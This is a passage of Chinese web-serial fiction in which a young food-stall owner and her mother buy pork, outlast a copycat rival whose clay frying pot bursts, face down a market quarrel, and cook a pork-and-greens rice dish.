满未楹铁锅中最后一点面汤也刮干净了,卤猪肠卖得更快,早就没了,今日便算是收了摊子。
殷稳婆打着嗝,舒坦地长叹一口气,饱肚之后目光自然而然地看向收摊子的母女二人和背后这间大商铺。
做稳婆的和做媒婆药婆虔婆的一样,都得耳听六路眼观八方。她来云梦城也快二十年了,日常打交道的便是大娘子小姑娘,为人又和善,手上功夫也好,因此各家隐秘的事都
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知道点,但是嘴守的很严。
满家铺子这点事她自然也知晓。
“二位娘子这是刚归家不久吧?”殷稳婆心里算了下日子,“我平常若是不出去,都在城西的女医行里,来日娘子快临盆了,可以提前来喊我。这城里有一半的孩子都得是我接生的,我的手艺娘子放心。”
满未楹细细地问了路线,连女医行周边有哪些辨认物都记在心里,还准备这几天就自己跑一趟,看看路程。虽说尤婶子到时候肯定会搭把手,但是万一当天人家有事呢?这些事还是得自己都了解清楚才行。
此时并不把女子性命放心上,大家对闺阁之事总是讳莫如深,有些不能宣之于口的小病小痛都是忍住不敢说。就连稳婆这样的职业也不如医师赚得多、名声好听,因而选择做这行的女人并没有多少。没想到云梦城中居然有“女医行”。
尤婶子家几个孩子都是殷稳婆接生的,想必非常老练也信得过。
待到送走了所有客人,满未楹客客气气地把钱金玉送来的灯还了回去,并承诺明天钱金玉来买早食时,送她五枚茶叶蛋。
钱金玉只要有吃的就喜上眉梢,连连说明日一大早她便起来等着。
云梦城的夜市能持续到凌晨,此刻才将将戌时二刻,也就是七点半。
把满珣送回家后,满珣留在家里洗锅碗,满未楹则揣着小钱袋子再次出了门。
卤猪肠卖得好,自然要趁热打铁再买一些回来,不然等明天早上再卤就有些晚了。除此之外,满未楹还准备再加一样早食。
云梦城的消费力不错,而且居民明显更爱精米精面和做得精细的肉食,只要做得好,哪怕是卤猪肠他们也愿意买。满未楹今天晚上已经证明了这点。
早食大家都喜欢吃出锅快、不耽误上工,又喜欢热热的;像那些家里摊好、出来再加热的锅盔,虽然便宜,但是卖得其实一般。要是再有点油水,那就更好了。最好还能顺带喝点什么,吃起来不至于太“干巴”。
因此满未楹准备做泡泡小馄饨,便是在擀面条时脑子里一闪而过的食物。
这其实是一道地方性美食,最早出自后世的宣堡地区。
最大的卖点便是那薄如蝉翼的特质馄饨皮,吸饱了汤汁,像是一个个泡泡一样浮在汤面上,晶莹剔透,当咬破馄饨皮的刹那,汤汁也会涌进嘴中,最是鲜美不过。
最正宗的泡泡小馄饨便是如此,后来许多地方包的小馄饨都不得其精髓,往往会出现面皮厚了后粘连在一起,变成一块死面,难以下咽。
而且泡泡小馄饨的汤底也有讲究,猪油是必不可少的一项。
因此,满未楹挎着一个垫了油纸的篮子,朝着宋娘子的铺子走去。
15.购物记
到了晚上,肉铺的生意不如上午,大多数人会觉得过了夜的肉不新鲜,因此都是早早便买回家。
宋娘子和屠老大的肉铺在云梦城中档口位置好,人流量大,而且因为肉质好,官府和城中富户贵人每日会遣人来预定第二天的肉量,加上卖给城中居民的,每日光是猪都能卖四十头。
卖肉卖了这些年,宋娘子和屠老大对当天能卖多少肉算得非常准,若是有酒楼突然接了什么大宴席来买肉,屠老大后院常年预备着各类活畜,也能应对,活着过夜自然不算过夜肉了。
二人两个最大的儿子跟着宋婆在城外,领着一众家丁做养殖,从各种农户甚至别的城买来仔猪仔鸡等等幼崽,保证肉量供应;
两人会每日都会从城外带回养的膘肥体壮的家禽牲畜;
别看屠老大长得五大三粗,体型不比猪牛瘦上多少——当然,没这体型也当不了屠夫——但宋娘子美貌纤细,两个大儿子都一表人才,身材健壮;
小儿子和更小的女儿更是玉雪可爱,翩翩玉质,两人都被云梦山选中,从公学进山读书去了。
正值云梦山每五日一休息时,宋娘子早早便收拾了马车,亲自去接二人归家团聚;城外的两个孩子也携宋婆一起归家。
满未楹到的时候,一家人正在挡了屏风后的铺子里吃晚食,欢声笑语不断。门前的肉铺上还挂着几只没卖掉的兔子、几条有些干了的猪肉以及最难卖的猪下水。
宋娘子把门前收拾的特别干净,连地面都用跑了澡豆子、带着香气的水刷洗干净,铺子上的砧板擦得光亮,丝毫血水不见,虽然避免不了血腥气息,但已经几不可闻。
“宋娘子——”满未楹拉长了声音,向内呼喊道,“我来买肉啦!”
“哎——这就来!”屏风响动,屠老大殷勤地为娘子拉开,跟着她来到了前面铺子。
“这不是小满娘子么!”宋娘子喜欢长得好看的女孩,“小满娘子生意可还好?今日我孩子归家,我二人忙了一天,没能去照顾小满娘子的生意呐。”
满未楹连连摆手:“宋娘子太客气啦!”说着她便从篮子中端出装了五枚茶叶蛋的碗,还盛着满满的卤汤,“还未谢过娘子上次送我回家呢,这卤鸡子儿送娘子,娘子在锅上再炖一会,敲碎蛋壳更入味,便可以吃了。”
宋娘子眼睛一亮,她也是个大方敞亮的人,别人的好意向来接受自如,“谢小娘子给我家添菜啦。”说着她便接过,吩咐屠老大送回去,再把碗端回来。
“娘子,这几条猪肉和猪肠我都要了,我加些钱,可否请娘子帮我把精肉剁成肉糜呢?”
满未楹刚才便观察过剩下的猪肉,俱是猪后腿部分,剩下的原因大概还是价格稍高,又不如排骨肉那般嫩,总是有些柴的,手艺不好的人放陶锅里容易炖老。此刻虽然有些干了,但是剁成肉糜后还要再加工,也不妨事。
满未楹清楚自己的“斤两”,若是她自己剁肉糜,只怕等她剁完,人也瘫了。她宁可加些钱,请宋娘子剁。
她偷偷看了眼屠老大快有半扇门的体型,专业的事交给专业的人做。
宋娘子看了看挂着的几条肉,心里计算了一下价格,宋娘子也是做生意的,她有自己为人处世的章程。
“今天晚上,我刚把从娘子家买的猪肠做了卖,娘子猜怎么着,摆摊还没一个时辰,全部都卖光了。”满未楹笑眯眯地说着,“别人问我哪里买的猪肉,我都说是从娘子这买的呢。”
宋娘子的肉铺自然不需要满未楹给她做宣传,但是听她这么说,心里也是舒坦。
“每斤肉加两铢吧,我让我家两人给小娘子剁好了。”宋娘子手一伸,便把几条肉全摘了下来,把屠老大喊道前面来,当着满未楹的面剁。
满未楹笑得开怀。“娘子家可还有猪板油?”
五花肉熬猪油还是有点奢侈了。猪板油,也就是全脂肪部分,熬得更多,油也更肥。
猪板油不好卖,一般人家就算做饭放点油花进去也用不了太多,因此宋娘子很快便从后院搬回来几大板。
她把板油切小块,屠老大在剁肉糜,两人各司其职。
后面的孩子也停下的碗筷,等着爹娘。
两个小的看着比满未楹还小一些,真好奇地朝着外面探头探脑,两个大的则有些羞涩、想看又不敢看这样好看的小娘子。
满未楹察觉到他们的视线,对他们友善一笑。
“娘子家明日可还有猪肠?我想和娘子订上十副,还请娘子帮我清理好,我明儿一早摆摊前便来拿。我后面每日都要十副,如果生意好、卖得多,那我后面还会再加,娘子可否给我便宜些?”满未楹眉眼弯弯,笑着问道,语气温婉。
猪下水这东西也不金贵,本就是搭头,能卖掉还省的砸手上了。
满未楹虽然现在做的是早餐摊子,但是总有一天她要把家里的铺子修整好,开一家自己的食肆酒楼,这么好的地段不利用起来也是可惜。因而最好能有自己稳定的原材料来源,各种肉类便是其中之一,现在提前和人打好关系也是必经之路。
宋
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娘子爽快地答应下来。看满未楹要的多,连帮忙剁肉的每斤两铢加工费也省了,还抹了个零,最后五斤猪肉、三副猪肠、两大板猪板油才收了满未楹二十二个圜钱。
待到满未楹拎着满满两手的东西归家时,又过去了将近半个时辰。
从自家铺子下走过时,她不由自主地抬头看了眼现在上不去的二楼,二楼木窗严丝合缝,风吹雨打之下窗纸都不见一丝破损。
到时候二楼可以做包厢,专供想要私密空间小聚的食客们。只是现在不知道布局如何,房间又有多大。若是有足够的空间,后期甚至可以承包婚宴、满月宴、寿宴等等。
不过现在想这些还有些太早了。云梦城富庶,大家舍得花钱买她的吃食,但同时各项开支也同样高昂。光是修厢房的门窗便花了半贯圜钱,要是想把其它屋舍并前后院和这间铺子整好,只怕要花上百金之数。
满未楹思索着,突然感到似乎有一道目光落在自己头顶,她再次抬头,环顾四周,并没有察觉到什么异常。可能是自己多想了吧,还是赶紧回家要紧。
回家时,满珣已经把碗筷全部洗好,还出了一趟门把碗筷都还给了尤婶子家。此刻炉子上咕嘟嘟滚着水,就等满未楹回来后用水睡觉。
满未楹把猪肉和板油放进地窖中,猪肠交给满珣清洗,她则去把用过的卤汤过滤一遍,将里面的杂质过滤干净后,加入高汤、清水和几粒新鲜的大料继续熬煮。
卤汤讲究冬滚二次,夏滚三次,通过不断加热煮沸,让汤汁保持新鲜灭菌的状态,这样才能一直用下去而不浪费。
茶叶蛋挨个翻出,轻轻把蛋壳敲得更碎一些后放进陶锅中,抽掉茶叶包和卤料包,盖上锅盖焖一晚上,第二天早上再起来加热。
等忙碌完这一切,今天肯定是来不及揉面做泡泡小馄饨了,等明天摆完摊子,先去把基本的碗筷桌凳备齐了。小馄饨不比可以拿在手上吃的油条和茶叶蛋,总得让人坐下来才能吃,不能一直借别人的。
创业就是这样,总得有成本支出。
每天的食材、柴火、避免不了的损耗......云梦城虽大,赚钱也不易呢。
满未楹回到厢房中,和满珣点了一遍晚上的收入,二人吹灭了烛火,沉沉入睡。
内院门锁是满未楹回来后新买的,乃是城南冶铁司的出品,精铜浇焊,最是坚固不过。
屋外似乎有野猫从墙头走过,脚步声几不可闻。
满未楹迷迷糊糊间突然想到,她是不是该养一条狗来看家护院了?
16.反类犬
天冷一日胜过一日,满未楹从温暖的被窝、香香的娘亲怀里伸出手时,竟忍不住打了一个哆嗦。这一哆嗦便抖醒了有些浅眠的满珣。
满珣孕中总是嗜睡,眼皮都难以撑开。但是身子不好又浅眠,被惊醒的感觉并不好受。但她还是下意识地搂紧了满未楹:“小满,可是冷着了?阿娘今日缝一条薄被出来,晚上再盖一条......”
“没事没事,阿娘你再睡会,适应一会就好了。”满未楹贴着她莹润的手臂蹭了两下,她从小就特别喜欢贴着她肉乎乎的手臂,尤其是夏天的时候,冰凉凉、分外舒服。
但是无论满未楹怎么说,满珣也坚持跟着起来了。
她的身子渐好,不想自己躺床上、让满未楹一个人在外面抛头露面地养家。
满珣搬不那么重的砧板、面团、刀和油壶,满未楹提着铁锅和装着茶叶蛋的双耳陶锅,两人一起支起摊子来。
满未楹心里还记着要去肉铺上拿猪肠的事,连加热炉子都交给了满珣,便快步走向宋娘子肉铺。
回来时,满未楹喜滋滋地打量了两个篮子里塞的满满的猪大肠,宋娘子着实是个爽快人,猪肠甚至提早安排帮工和屠老大一起翻洗了几遍才交给满未楹,猪肠上还挂着水滴。
腥味自然是有,但是能做到这个地步,满未楹已经很感动了。
等她快步走回自家摊位时,才发现满珣脸竟气得薄红,眼眸中也是水光莹莹,美人生气也是好看的美人,像是天边粉色的薄雾,但满未楹可顾不得欣赏,她加快脚步赶到她身边:“阿娘怎么了这是?”
满珣看了一眼某个方向,满未楹也跟着她的视线望去。
那是一个和满未楹家差不多的摊子,摊主是正是前几日抢位置的胖大娘,今日她和她良人没有卖菜,而是学着满未楹的样子,支起了油锅,也在卖油条!而且照常抢了个好位置,就在定完桥下,就差没和满未楹正对着,当面锣对面鼓了!
胖大娘行事上欺软怕硬,惯会欺负这些年轻小娘子,此刻神情上也没有丝毫愧疚,反而全是理直气壮,这炸油条这么简单,谁不能做了?油条上又没刻她家名字。
而且她的售价比满未楹还低一铢,并且满六减一,五铢就能买六根油条。一时间,不少人都涌向了她那里。
她神情轻慢,声音也更粗壮:“大家来瞧一瞧看一看了啊,定挽桥油条!一铢一根!管饱得很!没有比我家更便宜的了!”
难怪满珣会气恼。
油锅加热快,因此满珣等满未楹回来才加柴火。
满未楹把手中的猪肠放进后面铺子门后,回来擦了擦手便照常做自己的。
“小满......”满珣声音很轻,她虽也是市井出身,但是一向被娇养,跟着夫子后面读过七八年书。既做不出和胖大娘撕扯的不体面事,又恨自己不能帮上忙,心里一阵难过。
“阿娘别担心。”满未楹一早便看见了胖大娘用的是什么锅具和油。
陶锅这种锅具,从原材料上就不耐高温,从一开始就是作为炖煮用具而存在的,大部分陶锅都肚深壁厚,就是为了保温;也因此陶锅的传热功能和均匀加温功能都很差。
而炸油条的油温需要整锅油都达到160-180°,以现在的烧陶技术,根本没有陶锅能耐住这种高温,更遑论均匀传导热量了。
所以当后世铁锅普及后,陶锅珐琅锅只用在特定烹饪用途上,甚至是作为上桌的好看盛具。
并且胖大娘明显贪大贪多,也不知她从哪找人烧的陶锅,竟做了个肚大边宽且壁厚的陶锅出来,形似满未楹的铁锅。
从满未楹摆摊到她模仿不过四天,满未楹都怀疑内里的陶土还没有烧透。
胖大娘那油也是用发了黑的,也不知她是从哪寻摸来,还舍不得装满,只装了浅浅半口锅,油条挤挤攘攘在一起,表面发黑,个头也不如满未楹做出来的大和胖。
再观那面团,用的并不是精白面,而是混了麦麸的“杂粮面”。
满未楹摇了摇头,要是想吃麦麸,大家在家就能吃,又何必出来买呢?做生意固然要精打细算,但是也不能觉得做出来什么顾客都会买账吧?
满未楹知道油条这种简单的食物,不可能一直被她独家占有;但是胖娘子这般做派,她也不会放在眼里,更不用说视为竞争对手了。
故而满未楹手上动作不停,纹丝不乱。
铁锅中油逐渐冒起小气泡,清澈得能够看见漆黑的锅底。
满未楹每天都会把油过滤一遍再倒回油瓮中,过滤掉锅底掉下的面粉杂质等等,防止它们在锅底碳化;次日会加入一小碗新油作为补充。而且用过的油和没用过的油分开存放,油瓮放在阴凉处盖盖保存,防止接触氧气而氧化。
也因此当油缓慢加热起来后,原先带着的炸油条的香气也慢慢溢出,和胖大娘家不知什么味道的油条形成了鲜明对比。
原先满未楹家油锅还没热起来,大伙闻着胖大娘家的没有对比,也觉着不错;现下满未楹甫一把面剂子拉长放进去,那股子香气直勾勾的飘来,恨不得把人的心神都引过去。
图便宜买了胖娘子油条的人嚼着手上有些发黑的油条,登时有些食不知味起来。
但是一铢也是钱啊,花了钱的再难吃也得咽下去。
但后来的人可不管,够着头看了看两边,不少油条还没到手的食客立刻脚下打了个转,又来到了满未楹的摊前,二十根油条刚出锅便被抢了个干净。其余人围在摊前,眼巴巴等着满未楹一锅锅炸。满珣在另一边捞茶叶蛋、装油纸、收钱。
母女俩配合娴熟。
胖大娘摊子前几乎散的干干净净,甚至还有不少舔着脸的问她能不能退了,他闻着不好吃,想去别人家那买。
胖大娘瞅着这变化,心里本就又气又急,正在上火,乍然听见这话,可还了得?
她一甩桌案上搭着的湿抹布,带着脏污的水点子都甩到了那人脸上和油锅里:“你来寻来老娘乐子呢?买了的东西还想退?脸上两窟窿是卵子吗不会看?”
她的声音本就高亢,搭配这些不断涌出的咒骂脏话,粗眉倒竖,像是罗刹鬼一般。她身边的良人更是挽起袖子,做出要打人的架势。
那人脖子一缩,也不敢计较被甩脏水的事,但又咽不下这口气,把油条“嘭”得的扔回她沸腾的油锅里,溅起滚烫的油,周围的人发出惊呼立马散开来,“呸臭婆娘,做得跟泔水一样还想摆人家对面打擂台呢?一铢送你了,少来恶心人。”
那人骂骂咧咧,但是脚步飞快地跑开了。
胖娘子摊上被溅满了油花,身上也是斑斑点点,气得脸通红。“看你们老娘看呢?不吃滚开,别妨碍我做生意!”
云梦城发迹也就这十来年的事,之前可是民风彪悍的小城,能在这里行走的又有哪个是好相与的?
顿时便有人嘲弄地笑骂道:“还做生意呢?看还有哪个敢买你的?先把摊子收拾好吧,弄得一片狼藉,等下司稽看见了,你二人罚钱事小,别被拖上官府挨顿板子。”
前几日没争过胖
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大娘的年轻小娘子也凑过来看热闹,吃吃地笑了一阵,又快乐地跑跳回自己摊位。
满未楹面上不显,但心里也是痛快,还拍了拍满珣的手臂。
只是本以为这场闹剧就要收场时,又来了个意想不到的。
那胖娘子为了保持油温,还塞了不少柴火在炉膛里。陶锅外面是火焰、里面是将近二百度的沸油,本就不耐高温的陶锅再也不堪重负,从外部径直裂开,内里的油像是烟花一般炸了出来!
满未楹想的没错,这确实是胖娘子找人赶工出来的陶锅,仿的就是她铁锅的样式,陶土根本没烧干便被她迫不及待拿了出来。
人群发出惊呼,不少原本还在定挽桥下行走的人登时涌向了另一边,这滚烫的油可不是开玩笑的。这时候烫伤,保不齐要被感染,小命就没了。
胖娘子夫妻二人胖归胖,跑得竟比食客还快,像是过年按不住的猪一般,满未楹再次找到二人身影时,那两人已经快跑到了定挽桥上,看得她叹为观止。
看热闹归看热闹,自家的生意可不能不管。
满未楹抄起油纸,包好两根油条,又把昨天承诺的鸡子儿一起包好,跑过去递给站在自家铺子,踮着脚看得津津有味的钱金玉。
钱金玉闻着这香气,感觉自己从心到胃都是一阵满足,她鬼鬼祟祟看了眼屋后,见陆浮没出来,顿时一口同时咬下两根油条,嘿嘿,都是她的。
“小满良子,摘给我炸十根。”钱金玉口齿不清地说,心里想着:浮郎,我还是记挂着你的。
胖娘子油条没卖出去几根,连花钱打的陶锅也报废了,鸡飞蛋打一场空,眯成缝的眼睛一转又看见了围的满满当当的满家早餐摊。这本就不是个随和的主,如何能忍耐?
她臃肿的身形挤开人群,气愤地干嚎着:“苍天没眼啊!你让这对丧门星害了我的生意啊!要不是这对扫把星,我怎么会好好的菜不卖转来卖这该死的油条啊!”
她用力一拍满家的桌案,在满未楹还没反应过来之前,整个人咚得一声赖在地上,翻涌着打起滚来,双脚乱蹬,摆出一副吃定了满未楹和满珣的架势。
原本围着的食客们也四散而来,想躲开这个疯子。
只是她嚎了半天,半点眼泪都不见。
满未楹脸沉下来,胖娘子这样极大影响了她生意,模仿她不在乎,但是断她财路如杀她父母!何况她爹已经没了!
她抄起一只深口木勺,舀了一勺滚烫的油,掌握着力道洒向摊前一片:“去、去,妖邪退散!”
早知道会有这一出,她刚才应该找宋娘子要点猪血回来的。
周围哄笑一片。
胖娘子被满未楹这个年纪的小娘子这样排揎,哪里按捺的住,而且满珣和满未楹母女俩加起来都没她宽,当即利落地从地上爬起,朝她二人扑去:“小娼妇!家里死人了出来卖的还敢跟我没头没脸起来了!”
钱金玉眼看着不好,赶紧喊出小厮就朝摊子上来。
只是没等二人赶到,“嘭”的巨大一声惊住了在场所有人。
满未楹震惊地扭头看去,只见满珣气喘吁吁,美目圆瞪几乎裂开,她手中那把原本用来切面剂子的刀,狠狠剁在了砧板上,刀口深深砍进砧板中,陷进了桌案,就离胖大娘靠过来的肚皮几寸远——
“你再敢骂我孩子一句,我今天就把你从口到肚皮劈开,让臭烂心肝肚肠流一地,我倒要看看是不是黑的!”
她一字一顿,同样响亮,掷地有声,像是护崽的雌虎一般,不可冒犯。
17.小菜农
在满未楹的印象里,满珣一直是柔弱的、被娇养的、需要别人保护的;她纤质娇弱,很少高声说话,几乎从不与人发生龃龉。
但是现在,面对恶人,她摆出了从未有过的强悍一面,绝不允许她污蔑女儿。
满珣整条手臂都在抖,她力气本就不大,爆发过后也是硬撑着没倒下去,不肯露怯,还在死死瞪着胖大娘。
胖大娘再横也怕死,她只是想把满未楹家生意搅黄,但可不想在这件事上送命。
当满珣摆出要把她砍死的架势时,反倒是原本耍横的人先畏缩了起来。
“在闹什么!”一道沉稳的男声响起,不怒自威。
原本看热闹的人群分出一条可供通行的道路来,淮明禾大步走来。
他紧皱着眉头,看着东西两侧都是一片狼藉的地面。
云梦城的地面都是发达后烧制的青石砖铺成,缝隙填满了平整的石子、磨细石灰和细黏土,整体呈倒梯形,防水和排水性极佳。
而铺路的钱,则是由两边商铺和官府共同出资建成,后面由官府出钱养护,自然羊毛出在羊身上,本质还是来自商铺的税收。
也因此,商铺是有“免扫权”的,官府会安排人打扫街道;小摊贩们则需要摆摊完成后,把各自场地打扫干净。
淮明禾乃是司稽,负责巡查市集、缉拿盗贼、管理城中秩序等等。现在官府的职能划分并没有那么细,这是个官府内中游但是权力下到基层又很大的官职。
面对闹事的泼皮无赖和邻里鸡毛蒜皮的纠缠,从罚款到打板子再到蹲牢,基本都由司稽部门决定。
淮明禾还没到上值的时候,是被妹妹淮明月遣人喊出来的,出来的路上就已经听小厮汇报了定挽桥下的争端。
胖大娘本就声名在外,惯会欺软怕硬,不知道多少人跟她扭到过官府。但淮明禾体谅小民生活不易,抓起来一日便少一日进项,也只是罚款了事,谁知反倒纵了小人脾性。
淮明禾眼下乌青,一夜没有睡好,近来因为家中事焦心不已,嘴角都上火起了大泡,看见这些污糟事更是心烦不已,当即一挥手,身后跟着的小厮便把胖大娘和她良人拖了过来。
“跟我回官府说去。”
淮明禾再瞥一眼一片污糟的地面,对着满未楹拱了拱手:“满大娘子,小满娘子,这地面等下我会遣人来打扫干净,不影响二位做生意。”
满未楹母女也略一欠身。
但是没等淮明禾派人来,前日和胖大娘争执的那位年轻娘子拎着良人,两人手脚勤快地打扫好,喜滋滋地占了这块好地方。
钱金玉的小厮帮忙把菜刀拔了出来,满未楹看了看砧板和桌案。
桌案还能用,这点子“伤口”也不打紧;但是砧板肯定得换一个了,满珣爆发的力气实在是恐怖,砧板几乎整个裂开,连菜刀都卷了口。
菜刀是用青铜制成的,这时候的青铜冶炼技术炉火纯青,比冶铁技术发达多了。
青铜只是后人的命名,实际上青铜刀本色呈现金灿灿的铜色,并非后世出土氧化的青色。
还好闹这出之前,满珣就已经把面剂子都切好了。满未楹原本是准备多做几块的,用湿布盖住藏在菜篮里,延缓发酵时间;这样每天早上也能多卖点。
还好早上急着出门拿肉,没多揉面团。
食客们陆陆续续又围了上来:“小娘子,还卖早食吗?”
满未楹随手把菜刀放回菜篮里,抬头对着大家露出一笑,明眸皓齿:“卖!怎么不卖。娘子稍等呐,我这就炸。”
要是赌气回家,可不就遂了小人心意了?
她不仅要继续做早餐摊子,她还要攒钱把屋子修缮好,把自己的酒楼做起来!
小菜农今天早上拉肚子,进城晚了,到现在一个空档都没找到,只能臊眉耷眼地拖着大大的板车准备去更远的地方沿街叫卖,瘦小的身躯看起来分外可怜。
饶是这样,他也没忘了把鸡蛋提给满未楹,还为自己来晚了而羞愧:“小娘子,真不好意思,今日身子不舒服,来晚了。没影响你做生意吧?”
其实他到现在肚子也不是很舒服,但是菜不等人,卖不掉只能等着烂在手上。
他拎着鸡蛋篮子,放到满未楹摊子后,又送上了一把小青菜作为赔偿。
秋冬季不是青菜的生长季节,小青菜不按斤卖,按颗卖,能卖一圜钱;不是爱这口的人家根本都不会买,炒上一盘能花一贯钱,谁家舍得这样吃?而且一到了这个季节,小青菜长了还容易蔫巴,很不好卖。
满未楹回头看了一眼:“哎呀小郎君!这怎么使得?送晚一点也不耽误的,这鸡子儿都要炖上整晚的。”
但小菜农坚持要她收下:“我本就和娘子约好的,每日娘子出摊我就送来,但是这才第二日我就失言了。这不是君子所为,请娘子让我补偿些许。”
哟,满珣一边掏钱一边仔细打量了几下,蓦然,她眉头微微一皱。
“今日来晚了,可还有摊位啦?”满未楹还在包油纸,便听见满珣如此问道。
小菜农抿了抿唇,摇了摇头
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“那你今天就摆我们旁边吧,明日记得早来。”满珣轻声细语地说着。
三大开间的铺子门前摆四五个小摊子都绰绰有余,若不是有官府的禁令,门口争夺战不会比定挽桥下冷清半分。
小菜农震惊地瞪大了双眼,这这这,真的是可以的吗!天底下竟有这样的好事?
“二位娘子可真是好心肠,”钱金玉正等着自己的十根油条,笑眯眯地说,“小郎君呐,依我看呐,你就别推拒了,真想感谢二位娘子,不如多送几颗小青菜。”
小菜农结结巴巴:“这这是自然!我我今日带出来的不多!全都给大娘子吧!”
小菜农激动地跑回车前,把小菜篮拎出来,还帮满未楹把鸡子儿、猪肠和小青菜篮子全拎回了铺子门后放好。
忙过了最繁忙的那阵子,油条全卖光了,剩下一些茶叶蛋,摊前也陆陆续续有人来买。
太阳升起后,去散了初秋的微凉薄雾,满未楹一直待在两个火炉旁,被烘的额上冒着细密的汗,衣袖也挽了起来,用漂亮的绸带扎了个蝴蝶结。
她这才有空看了看一旁生意同样兴隆的小菜农,他晒成小麦色的脸上满是笑意,这还是满未楹认识他以来第一次看见他的笑容。
“还是阿娘好心,我都没想到这点。”满未楹当时脑子里都是谁买了多少根油条,谁又要了多少个茶叶蛋。
“我只是想到了你,都是年纪小小的小娘子,忙着奔波生活,都不容易。”满珣声音很轻,只让满未楹一人听见了。
“?”满未楹瞪大眼,“啊?”
“你没看出来么?那是个小娘子呀,剪了头发,出来讨生活的。”满珣又看了一眼,她养的就是女儿,女儿家的细节瞒不过她,小菜农耳上还有快合拢的一丁丁耳洞。“想来也是从城外走这么久的路进城卖菜,假扮男装更方便些。”
满未楹呆呆地眨了眨眼。
满珣一向敏感,她在刺绣时,一针都不会多勾,拿捏地纤毫不差。
“好吧。”满未楹当然相信满珣,“中午有小青菜,我做肉菜饭给阿娘吃可好?”
满珣:“这是何物?也是蒸饭吗?”
“是先把米饭蒸熟,然后用小青菜和肉炒出来的,饭粒吸足了肉汁和菜汁,好吃极了。”满珣解释道,旋即又说,“阿娘帮我看一下摊子,我去买刀和砧板,再买几个大陶锅还有碗筷回来,明日早上我要做新早食了。”
满珣点头。
满未楹包了两个鸡子儿送给小菜农,惹得她又是一阵感谢。
18.肉菜饭
满未楹拎着满手东西回来时,满珣卖光了所有茶叶蛋。小菜农看见她行动不太爽利的样子,帮忙把泥炉、陶锅等等全搬进了前院角门外。
小菜农虽然瘦瘦小小的,但是有一把子力气,也许是常年拉车练出来的,她一手一个泥炉,拎得很稳。
待到母女二人关上门,小菜农看了看这块好地方,坐回车前,双手捧着脸,长叹一口气,有些羡慕:真好啊,有这么好的地方,不用风吹日晒霜打雨淋的。小满娘子又有手艺,什么时候都能赚到钱。哪里像她,靠天靠土地吃饭,万一老天不作美,一家就要喝西北风了。
只是再难也得把日子过下去,能背靠云梦城,已经算是万幸了。
小菜农只是短暂的忧郁了一下,又重新振作起精神,大声叫卖起来。
内院中,满未楹把所有门都落锁,检查过一遍后,和满珣一起忙碌起来。
满未楹把需要用的东西都购置齐全了,晚上照明用的灯,不仅买了两个立脚的,连灯笼都买了两个,吊到屋檐下,能把门前照的亮堂堂;
陶碗买了二十只中号汤碗,这个尺寸不管用来装面还是装馄饨都刚刚好,小号不够装,大号汤碗端起来又不方便;陶锅则买了更大尺寸的,方便煮馄饨;
筷子则是去崔灵运杂货店里特地买了木筷,竹筷虽然便宜,但是吸水性强,用不了多长时间就会发霉,还是木筷更好一些;
至于桌椅板凳,满未楹则去前面铺子里挑挑拣拣出勉强能用的,偶有短腿的稍微垫一下就成,她不准备现在就花钱购置新的,等前面铺子开始修缮,放都没地方放,来回搬能累死人,倒不如修屋子时重新打一批。
今日满珣跟着出摊,有人看着摊子,省了满未楹不少来回折腾的时间,此刻才刚刚巳时过半。
满未楹照常进屋算账,扣掉送钱金玉和小菜农的茶叶蛋、买鸡子儿和购物的花销......她一项项算得仔细,然而还是少了两圜钱。
满未楹不信邪都点了一遍,还让满珣一起帮忙列具体账目。
算来算去都是这样。
满珣和满未楹互相望着,都有些摸不着头脑。
又是两圜钱,不多不少偏偏是这个数字。
也是四枚茶叶蛋的会账收入。
“总不能有野猫晚上进来,还掀开锅盖子偷了四枚茶叶蛋吧?”满珣先把钱袋子收了起来,仔细藏起来。
现在满未楹一天能卤一百多枚茶叶蛋,二三十枚一眼就能看清,但这么多枚在锅里,哪怕少几个她也看不出来,除非每天早上数一遍。
她皱着眉:“那我明天早上出摊前数一遍。”
说罢她也不过多纠结这件事,出去准备今日的午食。
小菜农送的小青菜大概十来棵,个个水灵,一瓣瓣错落包裹着菜心,清晨的露水还凝在翠绿的叶片上,要坠不坠。满未楹觉得小青菜其实比大青菜更好吃,不像大青菜,哪怕菜柄部分也是甜丝丝的,但小青菜也没有大青菜的分量,抓在手上小小一把。
满未楹手上一掰,就直接把菜根部分扯断,剩下的菜叶放进淘米盆中洗干净沾上的泥土,扯掉彻底发黄的小叶子。小青菜切成两段即可,因为等下炒的时候还会缩水,切太多就彻底没有吃头。
肉菜饭的肉还是用五花肉来做,半精半肥的不容易炒老了,而且自带的油脂能在炒的过程中包裹住每一粒米饭、每一根菜叶,彻底激发猪肉的香气。
先把米饭加水放进陶锅中煮一会,帮助米饭吸水、防止蒸出来夹生,而后再捞出米饭,沥干水分后放进蒸布,放到甑中蒸。
五花肉把大片的肥肉切掉,每块精肉片上只留一点点肥肉,不然吃着就太油了。
铁锅中不加一滴油,肉片和葱姜蒜一起下锅炒,去腥断生,等到那丝肥肉部分变得金黄,便可以铲出;而后就着五花肉煸出的油炒小青菜,小青菜在锅中发出“呲啦”一声,旋即锅中冒出蒸腾的白烟,等这股烟过去后,小青菜已经迅速缩水,母女俩吃刚刚好。
满未楹闻着味道就知道这小青菜肯定好吃,翻炒不烂,叶片依旧绿汪汪一片。
最后一步便是把蒸好的米饭和青菜、五花肉一起倒进锅中,不断翻炒,加进盐、味精调味,其余调料都不需要放,吃得便是最接近食材本身的味道。
满未楹对用油的把控十分精准,当她把肉菜饭盛出时,铁锅几乎不见一丝多余的油。
碗中肉菜饭堆成小小的山尖状,翠绿的菜叶、微微泛黄的五花肉、裹着剔透油花的雪白米饭在碗中抱在一起,散发着诱人的香气。
“阿娘,吃饭啦。”满未楹端着碗走到厨房廊下,二人照常还是在这里吃饭。
院中,满珣已经把猪肠用葱姜蒜水和醋泡好了,鸡蛋也洗了一半,炉上烧着水。听见满未楹喊,她用草木灰和水洗了下手,这才走来。
满珣其实不意外满未楹这么会做吃食,她从小脑子里就会冒各种奇妙点子,比如满珣不爱吃白水鸡子儿,满未楹便会给她做肉末蒸蛋,再浇上一小勺酱油,又滑又好吃。
就和她一样,她只要脑子里有绣品的画面,落针就能做到分毫不差。
米饭吸饱了水分,入口软糯,带着肉菜的清香鲜美;五花肉没有炒太久,连下面缀着的一点肥肉部分都不显焦,完美锁住了油脂部分;这个季节种出来的小青菜比夏季时显得更甜上几份,吃进嘴又脆生生得很。
铁锅炒一遍的好处就在于此,能在火焰的稳定温度中,充分融合每一样食材的风味。
满未楹喜欢用勺子吃这种炒饭,一挖能挖一大勺上来,有肉有菜又有米,荤素搭配而且调料都不需要加多少,多加些米饭就能吃到肚撑,十分满足。
